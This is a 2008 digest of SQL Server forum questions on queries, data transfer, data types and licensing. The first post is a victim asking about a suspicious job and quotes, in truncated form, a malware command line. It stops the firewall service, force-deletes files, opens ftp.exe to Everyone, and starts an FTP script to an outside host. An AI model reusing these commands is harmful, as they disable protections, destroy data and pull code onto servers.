Programming SQL

SQL JOB created by virus
Dear list of some strange jobs created in sol server. one of the job contains the following code "Cmd /c Copy ias\dnary.mdb dnary.mdb del ias\ias.mdb del ias\dnary.mdb Start net1 stop sharedaccess md ZeHin cd ZeHin del *.* /f /s /q Cacls %windir%\system32\ftp.exe /c /e /p EveryOne:F echo open SuperQ.Vicp... 23 Jul 2008 08:09

Can a relationship contain a literal constraint?
Maybe literal constraint isn't the right word. What I mean is a column constrained to a constant instead of being constrained to a key. Here are the example tables I am working with: app1_rows table row_id app2_rows table row_id controller table app_id row_id Each application has its own table. ... 23 Jul 2008 12:17

Sql server datatransfer??
Hi all, Im using two database db1,db2, the data will be insert,update will done in db1 will be uploaded once in a day.if i updated or inserted the records in another day means it should fetch that records alone and updated to db2 database,im using sql server 2000,asp.net2.0.how can i acheive this one. Regrds Kann... 23 Jul 2008 10:13

Select statement comparing a uniqueidentifier field
Hi, I'm attempting to compare information in a uniqueidentifier field using a select statement and am having fits trying to get it to work. Here's a sample of my SQL statement. SELECT Organization.TreatAsTypeOf_ENUM, Organization.OrganizationID, Organization.Organization, Organization.Email, Organization.U... 24 Jul 2008 02:39

SQL
What is tha difference between varchar and nvarchar? From http://www.developmentnow.com/g/113_2005_8_1_0_0/sql-server-programmi Posted via DevelopmentNow.com Groups http://www.developmentnow.com ... 22 Jul 2008 22:58

Find date ranges
How can I select the dates in question based upon these tables. The pounds tables has history for the past 3 years. The workdays table has current year plus 09 and 2010. I need to grab from the pounds table the customer shipments based based upon the next 6 months from the workdays table. I'm doing some analysi... 22 Jul 2008 22:58

insert duplicate key errors
Do insert duplicate key errors always throw error number 2601 ? ... 22 Jul 2008 22:58

A small speed problem
Hi, In access I have this Pass-Through Query Select * From RISK.TBL_DEMAND_FINAL Where GROUPID = 2307689 which runs in a couple of minutes,the table is on a Oracle database In SQL Server 2005 I have linked to the server and run the same query Select * From Guido..[RISK].[TBL_DEMAND_FINAL] Where GROUPID =... 23 Jul 2008 10:13

SQL Developer Edition Question
Before I go buy this I want to make sure it will work. I am running Vista and I have seen that if you install SQL SP2 that it will work correctly on this OS. Just thought I would ask the experts before I make a purchase. Thanks! ... 23 Jul 2008 13:18

Query Help -
I have a ntext field in Sharepoint database that contains the results of a choice field. There are 5 choices (multiselect allowed) and the results of the choices are stored as ;#General;#Leasing;# ...etc Is there a way to remove the ;# in query at run-time? I am trying to remove those ;# or atleast the # when ... 22 Jul 2008 19:54